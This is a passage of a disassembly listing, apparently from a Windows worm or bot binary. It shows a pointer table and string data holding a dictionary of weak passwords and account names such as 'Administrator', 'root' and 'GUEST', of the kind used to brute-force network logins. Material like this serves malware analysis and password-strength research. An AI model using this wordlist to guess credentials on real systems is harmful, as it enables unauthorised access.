		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM_0		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset aFun		; "fun"
		dd offset aGnu		; "gnu"
		dd offset aHal		; "hal"
		dd offset aHappening	; "happening"
		dd offset aIbm		; "ibm"
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset aJen		; "jen"
		dd offset aJoy		; "joy"
		dd offset aKey		; "key"
		dd offset aKim		; "kim"
		dd offset aLamination	; "lamination"
		dd offset aLee		; "lee"
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset aMgr		; "mgr"
		dd offset aMit		; "mit"
		dd offset aNet		; "net"
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset aPad		; "pad"
		dd offset aPam		; "pam"
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset aPub		; "pub"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset dword_4282F8
		dd offset dword_4282F4
		dd offset dword_4282F0
		dd offset dword_4282EC
		dd offset dword_4282E4
		dd offset dword_4282DC
		dd offset dword_4282D4
		dd offset dword_4282C8
		dd offset dword_4282C4
		dd offset dword_4282C0
		dd offset off_4282BC
		dd offset a@_6		; "@"
		dd offset a@@		; "@@"
		dd offset asc_4282B0	; "+"
		dd offset asc_4282AC	; "++"
		dd offset asc_4282A8	; "+++"
		dd offset asc_4282A0	; "++++"
		dd offset asc_42829C	; "-"
		dd offset asc_428298	; "--"
		dd offset asc_428298	; "--"
		dd offset asc_428290	; "----"
		dd offset asc_42828C	; "-+"
		dd offset asc_428284	; "--++"
		dd offset a0		; "=-0"
		dd offset a789_0	; "789+"
		dd offset a456_0	; "456+"
		dd offset asc_42826C	; "$"
		dd offset asc_428268	; "$$"
		dd offset asc_428264	; "$$$"
		dd offset a@_5		; "*&^%$#@!"
		dd offset a@_4		; "&^%$#@!"
		dd offset a@_3		; "^%$#@!"
		dd offset a@_2		; "%$#@!"
		dd offset a@_1		; "$#@!"
		dd offset a@_0		; "#@!"
		dd offset a@		; "@!"
		dd offset a0_0		; "0"
		dd offset a00		; "00"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset a00000000	; "00000000"
		dd offset a000000000	; "000000000"
		dd offset a0000000000	; "0000000000"
		dd offset asc_428214	; "*"
		dd offset asc_428210	; "**"
		dd offset asc_42820C	; "***"
		dd offset asc_428204	; "****"
		dd offset asc_4281FC	; "*****"
		dd offset asc_4281F4	; "******"
		dd offset asc_4281EC	; "*******"
		dd offset asc_4281E0	; "********"
		dd offset asc_4281D4	; "*********"
		dd offset a001		; "001"
		dd offset a002		; "002"
		dd offset a003		; "003"
		dd offset a004		; "004"
		dd offset a005		; "005"
		dd offset a006		; "006"
		dd offset a007		; "007"
		dd offset a008		; "008"
		dd offset a009		; "009"
		dd offset a010		; "010"
		dd offset a0wn3d	; "0wn3d"
		dd offset a0wned	; "0wned"
		dd offset a1		; "1"
		dd offset a11		; "11"
		dd offset a111		; "111"
		dd offset a1111		; "1111"
		dd offset a11111	; "11111"
		dd offset a111111	; "111111"
		dd offset a1111111	; "1111111"
		dd offset a11111111	; "11111111"
		dd offset a111111111	; "111111111"
		dd offset a1111111111	; "1111111111"
		dd offset a2		; "2"
		dd offset a22		; "22"
		dd offset a222		; "222"
		dd offset a2222		; "2222"
		dd offset a22222	; "22222"
		dd offset a222222	; "222222"
		dd offset a2222222	; "2222222"
		dd offset a22222222	; "22222222"
		dd offset a222222222	; "222222222"
		dd offset a2222222222	; "2222222222"
		dd offset a3		; "3"
		dd offset a33		; "33"
		dd offset a333		; "333"
		dd offset a3333		; "3333"
		dd offset a33333	; "33333"
		dd offset a333333	; "333333"
		dd offset a3333333	; "3333333"
		dd offset a33333333	; "33333333"
		dd offset a333333333	; "333333333"
		dd offset a3333333333	; "3333333333"
		dd offset a4		; "4"
		dd offset a44		; "44"
		dd offset a444		; "444"
		dd offset a4444		; "4444"
		dd offset a44444	; "44444"
		dd offset a444444	; "444444"
		dd offset a4444444	; "4444444"
		dd offset a44444444	; "44444444"
		dd offset a444444444	; "444444444"
		dd offset a4444444444	; "4444444444"
		dd offset a5		; "5"
		dd offset a55		; "55"
		dd offset a555		; "555"
		dd offset a5555		; "5555"
		dd offset a55555	; "55555"
		dd offset a555555	; "555555"
		dd offset a5555555	; "5555555"
		dd offset a55555555	; "55555555"
		dd offset a555555555	; "555555555"
		dd offset a5555555555	; "5555555555"
		dd offset a6		; "6"
		dd offset a66		; "66"
		dd offset a666		; "666"
		dd offset a6666		; "6666"
		dd offset a66666	; "66666"
		dd offset a666666	; "666666"
		dd offset a6666666	; "6666666"
		dd offset a66666666	; "66666666"
		dd offset a666666666	; "666666666"
		dd offset a6666666666	; "6666666666"
		dd offset a7		; "7"
		dd offset a77		; "77"
		dd offset a777		; "777"
		dd offset a7777		; "7777"
		dd offset a77777	; "77777"
		dd offset a777777	; "777777"
		dd offset a7777777	; "7777777"
		dd offset a77777777	; "77777777"
		dd offset a777777777	; "777777777"
		dd offset a7777777777	; "7777777777"
		dd offset a8		; "8"
		dd offset a88		; "88"
		dd offset a888		; "888"
		dd offset a8888		; "8888"
		dd offset a88888	; "88888"
		dd offset a888888	; "888888"
		dd offset a8888888	; "8888888"
		dd offset a88888888	; "88888888"
		dd offset a888888888	; "888888888"
		dd offset a8888888888	; "8888888888"
		dd offset a9		; "9"
		dd offset a99		; "99"
		dd offset a999		; "999"
		dd offset a9999		; "9999"
		dd offset a99999	; "99999"
		dd offset a999999	; "999999"
		dd offset a9999999	; "9999999"
		dd offset a99999999	; "99999999"
		dd offset a999999999	; "999999999"
		dd offset a9999999999	; "9999999999"
		dd offset a110		; "110"
		dd offset a7410		; "7410"
		dd offset a0147		; "0147"
		dd offset a1122		; "1122"
		dd offset a456		; "456"
		dd offset a654		; "654"
		dd offset a789		; "789"
		dd offset a987		; "987"
		dd offset a8520		; "8520"
		dd offset a0258		; "0258"
		dd offset a1020		; "1020"
		dd offset a12		; "12"
		dd offset a121		; "121"
		dd offset a121212	; "121212"
		dd offset a123		; "123"
		dd offset a123123	; "123123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a12346	; "12346"
		dd offset a123467	; "123467"
		dd offset a1234678	; "1234678"
		dd offset a12346789	; "12346789"
		dd offset a123467890	; "123467890"
		dd offset a1qwer	; "1qwer"
		dd offset a1abc		; "1abc"
		dd offset a1asd		; "1asd"
		dd offset a1qwe		; "1qwe"
		dd offset a12qwer	; "12qwer"
		dd offset a12abc	; "12abc"
		dd offset a12asd	; "12asd"
		dd offset a12qwe	; "12qwe"
		dd offset a123qwer	; "123qwer"
		dd offset a123abc	; "123abc"
		dd offset a123asd	; "123asd"
		dd offset a123qwe	; "123qwe"
		dd offset a1234qwer	; "1234qwer"
		dd offset a1234abc	; "1234abc"
		dd offset a1234asd	; "1234asd"
		dd offset a1234qwe	; "1234qwe"
		dd offset a1952		; "1952"
		dd offset a1953		; "1953"
		dd offset a1954		; "1954"
		dd offset a1955		; "1955"
		dd offset a1956		; "1956"
		dd offset a1957		; "1957"
		dd offset a1958		; "1958"
		dd offset a1959		; "1959"
		dd offset a1960		; "1960"
		dd offset a1961		; "1961"
		dd offset a1962		; "1962"
		dd offset a1963		; "1963"
		dd offset a1964		; "1964"
		dd offset a1965		; "1965"
		dd offset a1966		; "1966"
		dd offset a1967		; "1967"
		dd offset a1968		; "1968"
		dd offset a1969		; "1969"
		dd offset a1970		; "1970"
		dd offset a1971		; "1971"
		dd offset a1972		; "1972"
		dd offset a1973		; "1973"
		dd offset a1974		; "1974"
		dd offset a1975		; "1975"
		dd offset a1976		; "1976"
		dd offset a1977		; "1977"
		dd offset a1978		; "1978"
		dd offset a1979		; "1979"
		dd offset a1980		; "1980"
		dd offset a1981		; "1981"
		dd offset a1982		; "1982"
		dd offset a1983		; "1983"
		dd offset a1984		; "1984"
		dd offset a1985		; "1985"
		dd offset a1986		; "1986"
		dd offset a1987		; "1987"
		dd offset a1988		; "1988"
		dd offset a1989		; "1989"
		dd offset a1990		; "1990"
		dd offset a1991		; "1991"
		dd offset a1992		; "1992"
		dd offset a1993		; "1993"
		dd offset a1994		; "1994"
		dd offset a1995		; "1995"
		dd offset a1996		; "1996"
		dd offset a1997		; "1997"
		dd offset a1998		; "1998"
		dd offset a1999		; "1999"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset a2005		; "2005"
		dd offset a2006		; "2006"
		dd offset a2600		; "2600"
		dd offset a321		; "321"
		dd offset a4321		; "4321"
		dd offset a54321	; "54321"
		dd offset a654321	; "654321"
		dd offset a7654321	; "7654321"
		dd offset aSony		; "sony"
		dd offset aSamsung_0	; "SAMSUNG"
		dd offset aSamsung	; "samsung"
		dd offset aSony_0	; "SONY"
		dd offset aMaster_0	; "MASTER"
		dd offset aMicrosoft	; "MICROSOFT"
		dd offset aDisc_0	; "DISC"
		dd offset aCreative	; "CREATIVE"
		dd offset aSex		; "SEX"
		dd offset aNokia	; "NOKIA"
		dd offset aXp		; "XP"
		dd offset aA_0		; "a"
		dd offset aAa		; "aa"
		dd offset aAaa		; "aaa"
		dd offset aAaaa		; "aaaa"
		dd offset aAaaaa	; "aaaaa"
		dd offset aAaaaaa	; "aaaaaa"
		dd offset aAaaaaaa	; "aaaaaaa"
		dd offset aAaaaaaaa	; "aaaaaaaa"
		dd offset aAaaaaaaaa	; "aaaaaaaaa"
		dd offset aPassword_0	; "Password"
		dd offset aPassword1	; "password1"
		dd offset aQw		; "qw"
		dd offset aQwe		; "qwe"
		dd offset aQwer		; "qwer"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aQwertyu	; "qwertyu"
		dd offset aQwertyui	; "qwertyui"
		dd offset aQwertyuio	; "qwertyuio"
		dd offset aQwertyuiop	; "qwertyuiop"
		dd offset aRoot		; "root"
		dd offset aServer	; "server"
		dd offset aService	; "service"
		dd offset aServers	; "servers"
		dd offset aServices	; "services"
		dd offset aSystem	; "system"
		dd offset aSystem_0	; "SYSTEM"
		dd offset off_427B70
		dd offset aChi		; "chi"
		dd offset aKor_0	; "kor"
		dd offset aTiger	; "tiger"
		dd offset aKor		; "KOR"
		dd offset aToyota_0	; "TOYOTA"
		dd offset aToyota	; "toyota"
		dd offset asc_42BB9C	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset aXyz		; "xyz"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aKonyang	; "konyang"
		dd offset aZ		; "z"
		dd offset aZx		; "zx"
		dd offset aZxc		; "zxc"
		dd offset aZxcv		; "zxcv"
		dd offset aZxcvb	; "zxcvb"
		dd offset aZxcvbn	; "zxcvbn"
		dd offset aZxcvbnm	; "zxcvbnm"
		dd offset aAs		; "as"
		dd offset aAsd		; "asd"
		dd offset aAsdf		; "asdf"
		dd offset aAsdfg	; "asdfg"
		dd offset aAsdfgh	; "asdfgh"
		dd offset aAsdfghj	; "asdfghj"
		dd offset aAsdfghjk	; "asdfghjk"
		dd offset aAsdfghjkl	; "asdfghjkl"
		dd offset aQaz		; "qaz"
		dd offset aWsx		; "wsx"
		dd offset aEdc		; "edc"
		dd offset aRfv		; "rfv"
		dd offset aB		; "b"
		dd offset aBb		; "bb"
		dd offset aBbb		; "bbb"
		dd offset aBbbb		; "bbbb"
		dd offset aBbbbb	; "bbbbb"
		dd offset aBbbbbb	; "bbbbbb"
		dd offset aBbbbbbb	; "bbbbbbb"
		dd offset aBbbbbbbb	; "bbbbbbbb"
		dd offset aBbbbbbbbb	; "bbbbbbbbb"
		dd offset aC		; "c"
		dd offset aCc		; "cc"
		dd offset aCcc		; "ccc"
		dd offset aCccc_0	; "cccc"
		dd offset aCcccc	; "ccccc"
		dd offset aCccccc	; "cccccc"
		dd offset aCcccccc	; "ccccccc"
		dd offset aCccccccc	; "cccccccc"
		dd offset aCcccccccc	; "ccccccccc"
		dd offset aD		; "d"
		dd offset aDd_0		; "dd"
		dd offset aDdd		; "ddd"
		dd offset aDddd		; "dddd"
		dd offset aDdddd	; "ddddd"
		dd offset aF		; "f"
		dd offset aFf		; "ff"
		dd offset aFff		; "fff"
		dd offset aFfff		; "ffff"
		dd offset aFffff	; "fffff"
		dd offset aE		; "e"
		dd offset aEe		; "ee"
		dd offset aEee		; "eee"
		dd offset aEeee		; "eeee"
		dd offset aEeeee	; "eeeee"
		dd offset aEeeeee	; "eeeeee"
		dd offset aG		; "g"
		dd offset aGg		; "gg"
		dd offset aGgg		; "ggg"
		dd offset aGggg		; "gggg"
		dd offset aGgggg	; "ggggg"
		dd offset aGggggg	; "gggggg"
		dd offset asc_4279E0	; "h"
		dd offset aHh		; "hh"
		dd offset aHhh		; "hhh"
		dd offset aHhhh		; "hhhh"
		dd offset aHhhhh	; "hhhhh"
		dd offset aHhhhhh	; "hhhhhh"
		dd offset aI_0		; "i"
		dd offset aIi		; "ii"
		dd offset aIii		; "iii"
		dd offset aIiii		; "iiii"
		dd offset aIiiii	; "iiiii"
		dd offset aIiiiii	; "iiiiii"
		dd offset aJ		; "j"
		dd offset aJj		; "jj"
		dd offset aJjj		; "jjj"
		dd offset aJjjj		; "jjjj"
		dd offset aJjjjj	; "jjjjj"
		dd offset aJjjjjj	; "jjjjjj"
		dd offset aK		; "k"
		dd offset aKk		; "kk"
		dd offset aKkk		; "kkk"
		dd offset aKkkk		; "kkkk"
		dd offset aKkkkk	; "kkkkk"
		dd offset aKkkkkk	; "kkkkkk"
		dd offset asc_427950	; "l"
		dd offset aLl		; "ll"
		dd offset aLll		; "lll"
		dd offset aLlll		; "llll"
		dd offset aLllll	; "lllll"
		dd offset aLlllll	; "llllll"
		dd offset aM		; "m"
		dd offset aMm		; "mm"
		dd offset aMmm		; "mmm"
		dd offset aMmmm		; "mmmm"
		dd offset aMmmmm	; "mmmmm"
		dd offset aMmmmmm	; "mmmmmm"
		dd offset aN		; "n"
		dd offset aNn		; "nn"
		dd offset aNnn		; "nnn"
		dd offset aNnnn		; "nnnn"
		dd offset aNnnnn	; "nnnnn"
		dd offset aNnnnnn	; "nnnnnn"
		dd offset aO		; "o"
		dd offset aOo		; "oo"
		dd offset aOoo		; "ooo"
		dd offset aOooo		; "oooo"
		dd offset aOoooo	; "ooooo"
		dd offset aOooooo	; "oooooo"
		dd offset aP		; "p"
		dd offset aPp		; "pp"
		dd offset aPpp		; "ppp"
		dd offset aPppp		; "pppp"
		dd offset aPpppp	; "ppppp"
		dd offset aPppppp	; "pppppp"
		dd offset aU		; "u"
		dd offset aUu		; "uu"
		dd offset aUuu		; "uuu"
		dd offset aUuuu		; "uuuu"
		dd offset aUuuuu	; "uuuuu"
		dd offset aUuuuuu	; "uuuuuu"
		dd offset aS_1		; "s"
		dd offset aSs		; "ss"
		dd offset aSss		; "sss"
		dd offset aSsss		; "ssss"
		dd offset aSssss	; "sssss"
		dd offset aSsssss	; "ssssss"
		dd offset aT		; "t"
		dd offset aTt		; "tt"
		dd offset aTtt		; "ttt"
		dd offset aTttt		; "tttt"
		dd offset aTtttt	; "ttttt"
		dd offset aTttttt	; "tttttt"
		dd offset aY		; "y"
		dd offset aYy		; "yy"
		dd offset aYyy		; "yyy"
		dd offset aYyyy		; "yyyy"
		dd offset aYyyyy	; "yyyyy"
		dd offset aYyyyyy	; "yyyyyy"
		dd offset aV		; "v"
		dd offset aVv		; "vv"
		dd offset aVvv		; "vvv"
		dd offset aVvvv		; "vvvv"
		dd offset aVvvvv	; "vvvvv"
		dd offset aVvvvvv	; "vvvvvv"
		dd offset aW		; "w"
		dd offset aWw		; "ww"
		dd offset aWww		; "www"
		dd offset aWwww		; "wwww"
		dd offset aWwwww	; "wwwww"
		dd offset aWwwwww	; "wwwwww"
		dd offset aQ		; "q"
		dd offset aQq		; "qq"
		dd offset aQqq		; "qqq"
		dd offset aQqqq		; "qqqq"
		dd offset aQqqqq	; "qqqqq"
		dd offset aQqqqqq	; "qqqqqq"
		dd offset aZ		; "z"
		dd offset aZz		; "zz"
		dd offset aZzz		; "zzz"
		dd offset aZzzz		; "zzzz"
		dd offset aZzzzz	; "zzzzz"
		dd offset aZzzzzz	; "zzzzzz"
		dd offset aXxyyzz	; "xxyyzz"
		dd offset aZzxx		; "zzxx"
		dd offset aAass		; "aass"
		dd offset aQqww		; "qqww"
		dd offset aZzzxxxccc	; "zzzxxxccc"
		dd offset aAaasssddd	; "aaasssddd"
		dd offset aQqqwwweee	; "qqqwwweee"
		dd offset aQqwwee	; "qqwwee"
		dd offset aAassdd	; "aassdd"
		dd offset aZzxxcc	; "zzxxcc"
		dd offset a1qaz		; "1qaz"
		dd offset a2wsx		; "2wsx"
		dd offset a2qaz		; "2qaz"
		dd offset a3edc		; "3edc"
		dd offset a3wsx		; "3wsx"
		dd offset a112233	; "112233"
		dd offset aMnb		; "mnb"
		dd offset aMnbv		; "mnbv"
		dd offset a2486		; "2486"
		dd offset a2684		; "2684"
		dd offset a13579	; "13579"
		dd offset a753159	; "753159"
		dd offset a159357	; "159357"
		dd offset a951753	; "951753"
		dd offset a753951	; "753951"
		dd offset a142536	; "142536"
		dd offset aSystem	; "system"
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_2	; "SERVER"
		dd offset byte_43B9B8
		align 8
dword_4276A8	dd 10h			; DATA XREF: sub_401AC7+728r
					; sub_401AC7+75Er ...
a142536		db '142536',0           ; DATA XREF: nsp0:00427628o
		align 4
a753951		db '753951',0           ; DATA XREF: nsp0:00427624o
		align 4
a951753		db '951753',0           ; DATA XREF: nsp0:00427620o
		align 4
a159357		db '159357',0           ; DATA XREF: nsp0:0042761Co
		align 4
a753159		db '753159',0           ; DATA XREF: nsp0:00427618o
		align 4
a13579		db '13579',0            ; DATA XREF: nsp0:00427614o
		align 4
a2684		db '2684',0             ; DATA XREF: nsp0:00427610o
		align 4
a2486		db '2486',0             ; DATA XREF: nsp0:0042760Co
		align 4
aMnbv		db 'mnbv',0             ; DATA XREF: nsp0:00427608o
		align 4
aMnb		db 'mnb',0              ; DATA XREF: nsp0:00427604o
a112233		db '112233',0           ; DATA XREF: nsp0:00427600o
		align 10h
a3wsx		db '3wsx',0             ; DATA XREF: nsp0:004275FCo
		align 4
a3edc		db '3edc',0             ; DATA XREF: nsp0:004275F8o
		align 10h
a2qaz		db '2qaz',0             ; DATA XREF: nsp0:004275F4o
		align 4
a2wsx		db '2wsx',0             ; DATA XREF: nsp0:004275F0o
		align 10h
a1qaz		db '1qaz',0             ; DATA XREF: nsp0:004275ECo
		align 4
aZzxxcc		db 'zzxxcc',0           ; DATA XREF: nsp0:004275E8o
		align 10h
aAassdd		db 'aassdd',0           ; DATA XREF: nsp0:004275E4o
		align 4
aQqwwee		db 'qqwwee',0           ; DATA XREF: nsp0:004275E0o
		align 10h
aQqqwwweee	db 'qqqwwweee',0        ; DATA XREF: nsp0:004275DCo
		align 4
aAaasssddd	db 'aaasssddd',0        ; DATA XREF: nsp0:004275D8o
		align 4
aZzzxxxccc	db 'zzzxxxccc',0        ; DATA XREF: nsp0:004275D4o
		align 4
aQqww		db 'qqww',0             ; DATA XREF: nsp0:004275D0o
		align 4
aAass		db 'aass',0             ; DATA XREF: nsp0:004275CCo
		align 4
aZzxx		db 'zzxx',0             ; DATA XREF: nsp0:004275C8o
		align 4
aXxyyzz		db 'xxyyzz',0           ; DATA XREF: nsp0:004275C4o
		align 4
aZzzzzz		db 'zzzzzz',0           ; DATA XREF: nsp0:004275C0o
		align 4
aZzzzz		db 'zzzzz',0            ; DATA XREF: nsp0:004275BCo
		align 4
aZzzz		db 'zzzz',0             ; DATA XREF: nsp0:004275B8o
		align 4
aZzz		db 'zzz',0              ; DATA XREF: nsp0:004275B4o
aZz		db 'zz',0               ; DATA XREF: nsp0:004275B0o
		align 4
aQqqqqq		db 'qqqqqq',0           ; DATA XREF: nsp0:004275A8o
		align 4
aQqqqq		db 'qqqqq',0            ; DATA XREF: nsp0:004275A4o
		align 4
aQqqq		db 'qqqq',0             ; DATA XREF: nsp0:004275A0o
		align 4
aQqq		db 'qqq',0              ; DATA XREF: nsp0:0042759Co
aQq		db 'qq',0               ; DATA XREF: nsp0:00427598o
		align 4
aQ:					; DATA XREF: sub_401AC7+12D7o
					; nsp0:00427594o ...
		unicode	0, <q>,0
aWwwwww		db 'wwwwww',0           ; DATA XREF: nsp0:00427590o
		align 10h
aWwwww		db 'wwwww',0            ; DATA XREF: nsp0:0042758Co
		align 4
aWwww		db 'wwww',0             ; DATA XREF: nsp0:00427588o
		align 10h
aWww		db 'www',0              ; DATA XREF: nsp0:00427584o
aWw		db 'ww',0               ; DATA XREF: nsp0:00427580o
		align 4
aW:					; DATA XREF: nsp0:0042757Co
					; nsp0:0043899Co ...
		unicode	0, <w>,0
aVvvvvv		db 'vvvvvv',0           ; DATA XREF: nsp0:00427578o
		align 4
aVvvvv		db 'vvvvv',0            ; DATA XREF: nsp0:00427574o
		align 4
aVvvv		db 'vvvv',0             ; DATA XREF: nsp0:00427570o
		align 4
aVvv		db 'vvv',0              ; DATA XREF: sub_401AC7+46C7o
					; nsp0:0042756Co
aVv		db 'vv',0               ; DATA XREF: nsp0:00427568o
		align 4
aV:					; DATA XREF: nsp0:00427564o
					; nsp0:004389ECo ...
		unicode	0, <v>,0
